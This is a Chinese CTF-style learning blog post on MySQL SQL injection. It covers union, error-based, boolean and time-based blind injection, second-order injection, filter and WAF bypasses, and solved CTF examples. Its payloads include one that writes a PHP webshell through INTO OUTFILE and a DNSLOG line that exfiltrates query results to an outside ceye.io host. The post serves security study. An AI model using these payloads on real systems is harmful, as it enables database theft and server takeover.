Web学习笔记 之 SQL注入
这篇主要是搬的Yunen师傅的博客,觉得他整理的已经比较好了。
注入攻击的本质,是把用户输入的数据当作代码执行。这里有两个关键,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户的数据。——《白帽子讲Web安全》
上一章的XSS是一种针对HTML的注入攻击,而本章的SQL注入,顾名思义就是对SQL数据库的注入攻击。【这里针对Mysql】【在注入过程中,除了拼接,闭合-逃逸 这个步骤也经常出现。所以如果waf住了这里,是否还有别的方法呢?——憨憨弟弟如是想】
一个完整的mysql管理系统结构通常如下图
我们知道,在数据库中,常见的对数据进行处理的操作有:增、删、查、改这四种。
每一项操作都具有不同的作用,共同构成了对数据的绝大部分操作。
增。顾名思义,也就是增加数据。在通用的SQL语句中,其简单结构通常可概述为:
INSERT table_name(columns_name) VALUES(new_values)
。
删。删除数据。简单结构为:
DELETE table_name WHERE condition
。
查。查询语句可以说是绝大部分应用程序最常用到的SQL语句,他的作用就是查找数据。其简单结构为:
SELECT columns_name FROM table_name WHERE condition
。
改。有修改/更新数据。简单结构为:
UPDATE table_name SET column_name=new_value WHERE condition
。
PS:以上SQL语句中,系统关键字全部进行了大写处理。
文件读/写
我们知道Mysql是很灵活的,它支持文件读/写功能。在讲这之前,有必要介绍下什么是file_priv
和secure-file-priv
。
简单的说:file_priv
是对于用户的文件读写权限,若无权限则不能进行文件读写操作,可通过下述payload查询权限。
1 | select file_priv from mysql.user where user=$USER host=$HOST; |
secure-file-priv
是一个系统变量,对于文件读/写功能进行限制。具体如下:
- 无内容,表示无限制。
- 为NULL,表示禁止文件读/写。
- 为目录名,表示仅允许对特定目录的文件进行读/写。
注:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。
三种方法查看当前secure-file-priv
的值:
1 | Code |
修改:
- 通过修改my.ini文件,添加:
secure-file-priv=
- 启动项添加参数:
mysqld.exe --secure-file-priv=
读
Mysql读取文件通常使用load_file函数,语法如下:
1 | select load_file(file_path); |
第二种读文件的方法:
1 | load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取服务端文件 |
第三种:
1 | load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取客户端文件 |
限制:
- 前两种需要
secure-file-priv
无值或为有利目录。 - 都需要知道要读取的文件所在的绝对路径。
- 要读取的文件大小必须小于
max_allowed_packet
所设置的值
低权限读取文件
5.5.53secure-file-priv=NULL
读文件payload,mysql8测试失败,其他版本自测。
1 | drop table mysql.m1; |
写
说完了读文件,那我们来说说mysql的写文件操作。常见的写文件操作如下:
1 | select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php'; |
限制:
secure-file-priv
无值或为可利用的目录- 需知道目标目录的绝对目录地址
- 目标目录可写,mysql的权限足够。
日志法
由于mysql在5.5.53版本之后,secure-file-priv
的值默认为NULL
,这使得正常读取文件的操作基本不可行。我们这里可以利用mysql生成日志文件的方法来绕过。
mysql日志文件的一些相关设置可以直接通过命令来进行:
1 | //请求日志 |
之后我们在让数据库执行满足记录条件的恶意语句即可。
限制:
- 权限够,可以进行日志的设置操作
- 知道目标目录的绝对路径
DNSLOG带出数据
什么是DNSLOG?简单的说,就是关于特定网站的DNS查询的一份记录表。若A用户对B网站进行访问/请求等操作,首先会去查询B网站的DNS记录,由于B网站是被我们控制的,便可以通过某些方法记录下A用户对于B网站的DNS记录信息。此方法也称为OOB注入。
如何用DNSLOG带出数据?若我们想要查询的数据为:aabbcc
,那么我们让mysql服务端去请求aabbcc.evil.com
,通过记录evil.com
的DNS记录,就可以得到数据:aabbcc
。
payload: load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))
应用场景:
- 三大注入无法使用
- 有文件读取权限及
secure-file-priv
无值。 - 不知道网站/目标文件/目标目录的绝对路径
- 目标系统为Windows
推荐平台:ceye.io
为什么Windows可用,Linux不行?这里涉及到一个叫UNC的知识点。简单的说,在Windows中,路径以\\
开头的路径在Windows中被定义为UNC路径,相当于网络硬盘一样的存在,所以我们填写域名的话,Windows会先进行DNS查询。但是对于Linux来说,并没有这一标准,所以DNSLOG在Linux环境不适用。注:payload里的四个\\\\
中的两个\
是用来进行转义处理的。
SQL注入
了解了最基本的Mysql相关知识后,我们来看看本文章的主题:SQL注入
大部分情况下我们的SQL注入都是在查上面去注入,以获取数据库中的敏感信息。而查我们大致上分为三种,分别是有回显的联合查询注入、无回显的报错注入和布尔、时间盲注
三种注入方式利用起来原理并不是太难,但是注入的一生之敌:waf,总是让我们难以成功实现攻击。截至目前俺这个弟弟审过的两三个小众CMS,它们用的比较多的还是黑名单过滤,并且是在全局范围内直接对你所有传的参数【GET POST…】进行过滤,狠的一批,但是要是找到了未顾及的点,那就能给他日透咯。所以各种花里胡哨的payload,各种奇技淫巧也是因这越来越严密的waf而生。(就像游戏不停的推动着显卡升级一样嘛)
联合查询注入
联合查询注入需要注意的是:
- 若回显仅支持一行数据的话,记得让前边正常的查询语句返回的结果为空。
- 使用union select进行拼接时,注意前后两个select语句的返回的字段数必须相同,否则无法拼接。
再来看看联合查询注入的最基础四步
1 | select database() #查询数据库名 |
但在这之前还需要用order by查一下字段数,
1 | id = 1' order by 3 --+ |
止到报错之前的那个数字就是字段数了。
这里再补充一下information_schema相关的知识
information_schema简介
在版本大于等于5.0的MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
其中我们需要关注的是,information_schema的数据库里的shemata数据表查询全部数据库名
tables的数据表中存着全部的数据表信息。其中,table_name 字段保存其名称,table_schema保存其对应的数据库名。
报错注入
exp()
适用版本:5.5.5~5.5.49
报错注入有联动exp和~的,在Mysql里头,exp就是取e的幂次, ~就是按位取反。当exp里头的值太大了,就会造成大整数溢出,从而报错。
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
updatexml()
函数语法:updatexml(XML_document, Xpath_string, new_value);
适用版本: 5.1.5+
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
我们通常在第二个Xpath参数填写我们要查询的内容。
与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。
payload:
前后添加~使其不符合Xpath格式从而报错。updatexml(1,concat(0x7e,(select user()),0x7e),1)
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
错误大概会是:
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
另外,updatexml最多只能显示32位,需要配合substr【用法:substr(string,start,length)】使用。
extractvalue()
函数语法:EXTRACTVALUE (XML_document, XPath_string);
适用版本:5.1.5+
利用原理与updatexml函数相同
payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
几何函数
- GeometryCollection:
id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
- polygon():
id=1 AND polygon((select * from(select * from(select user())a)b))
- multipoint():
id=1 AND multipoint((select * from(select * from(select user())a)b))
- multilinestring():
id=1 AND multilinestring((select * from(select * from(select user())a)b))
- linestring():
id=1 AND LINESTRING((select * from(select * from(select user())a)b))
- multipolygon() :
id=1 AND multipolygon((select * from(select * from(select user())a)b))
不存在的函数
随便适用一颗不存在的函数,可能会得到当前所在的数据库名称。
盲注
布尔
对于布尔盲注来说,其使用的场景在于:对真/假条件返回的内容很容易区分。
比如说,有这么一条正常的select语句,我们再起where条件后边加上and 1=2,我们知道,1永远不等于2,那么这个条件就是一个永假条件,我们使用and语句连上,那么整个where部分就是永假的,这时候select语句是不会返回内容的。将其返回的内容与正常页面进行对比,如果很容易区分的话,那么布尔盲注试用。
payload:(where | and) if(substr((select password from users where username='admin'),1,1)='a',1,0)
时间
相比较于布尔盲注,时间盲注依赖于通过页面返回的延迟时间来判断条件是否正确。
使用场景:布尔盲注永假条件所返回的内容与正常语句返回的内容很接近/相同,无法判断情况。
简单的来说,时间盲注就是,如果我们自定义的条件为假的话,我们让其0延迟通过,如果条件为真的话,使用sleep()等函数,让sql语句的返回产生延迟。
payload:(where | and)if(substr((select password from users where username='admin'),1,1)='a',sleep(3),1)
由于盲注是需要大量的测试比较多的数据,所以一般盲注都是写脚本的。不然一个一个手工盲测费时费力。
下面是时间盲注脚本的一个示例:
1 | import requests |
除了三种注入,其实还有一些不常见的注入
二次注入
什么是二次注入?简单的说,就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题。
举个例子,某个查询当先登录的用户信息的SQL语句如下:
1 | select * from users where username='$_SESSION['username']' |
登录/注册处的SQL语句都经过了addslashes函数、单引号闭合的处理,且无编码产生的问题。
对于上述举的语句我们可以先注册一个名为admin' #
的用户名,因为在注册进行了单引号的转义,故我们并不能直接进行insert注入,最终将我们的用户名存储在了服务器中,注意:反斜杠转义掉了单引号,在mysql中得到的数据并没有反斜杠的存在。
在我们进行登录操作的时候,我们用注册的admin' #
登录系统,并将用户部分数据存储在对于的SESSION中,如$_SESSION['username']
。
上述的$_SESSION['username']
并没有经过处理,直接拼接到了SQL语句之中,就会造成SQL注入,最终的语句为:
1 | select * from users where username='admin' #' |
常见注入方式的基础原理讲完了,接下来就讲讲,怎么去绕过一些考虑不周到的过滤。
关键字过滤
过如遇到替换为空的情况,且不是递归检查,就可以用双写绕过
利用&&、||可以代替and和or,+号,
1 | '||1='1 |
注释(/**/)可以代替空格,%09, %0a, %0b, %0c, %0d, %a0等部分不可见字符可也代替空格
如:select * from user where username='admin'union(select+title,content/**/from/*!article*/where/**/id='1'and!!!!~~1=1)
逗号被过滤:substr(data from 1 for 1)相当于substr(data,1,1)、limit 9 offset 4相当于limt 9,4
主要思路就使用同义函数/语句代替,如if函数可用case when condition then 1 else 0 end语句代替。
如果单独过滤union,使用盲注来获取数据
1 | 'and substr((select pass from users limit 1),1,1)='s |
一些小Trick
这里跟大家分享一些有意思的Trick,主要在一些CTF题出现,这里也把它记下来,方便复习。
PHP/union.+?select/ig
绕过。
在某些题目中,题目禁止union与select同时出现时,会用此正则来判断输入数据。
- 利用点:PHP正则回溯BUG
- 具体分析文章:PHP利用PCRE回溯次数限制绕过某些安全限制
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限
pcre.backtrack_limit
。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为 100万),那么正则停止,返回未匹配到数据。
故而我们构造payload:union/*100万个a,充当垃圾数据*/select
即可绕过正则判断。
一道相关的CTF题:TetCTF-2020 WP BY MrR3boot
LIMIT之后的字段数判断
我们都知道若注入点在where子语句之后,判断字段数可以用order by
或group by
来进行判断,而limit
后可以利用 into @,@
判断字段数,其中@为mysql临时变量。
实例:
[极客大挑战 2019]EasySQL【万能密码】
admin' or 1=1 #
[极客大挑战 2019]loveSQL【基础联合注入】
?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
[极客大挑战 2019]babySQL【双写绕过】
?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23
PS:这么看来想要注入,我们必须要用到单引号或者双引号来逃逸字符串,所以只过滤引号就能防住SQL注入了么?并不是,这里有一个例子
如果你只是过滤了单引号,按照你上面的sql语句【String sql="select * from user_table where username='"+name+"' and password='"+password+"'";
】,依然是可以注入的。
username这样输入:1\
password这样输入:or 1=1;#
经过你的程序之后sql语句变成这样select * from user_table where username=’1' and password=’or 1=1;#’; 在这里,username中输入的\转义了它后面的单引号,因此sql语句实际上变成 username的值等于这样一个字符串: 1’ and password=,后面我再接or 1=1;#就生效了,
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com
文章标题:Web学习笔记 之 SQL注入
文章字数:4.2k
本文作者:Van1sh
发布时间:2020-08-07, 13:18:00
最后更新:2020-08-12, 22:38:02
原始链接:http://jayxv.github.io/2020/08/07/Web学习笔记之SQL注入/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。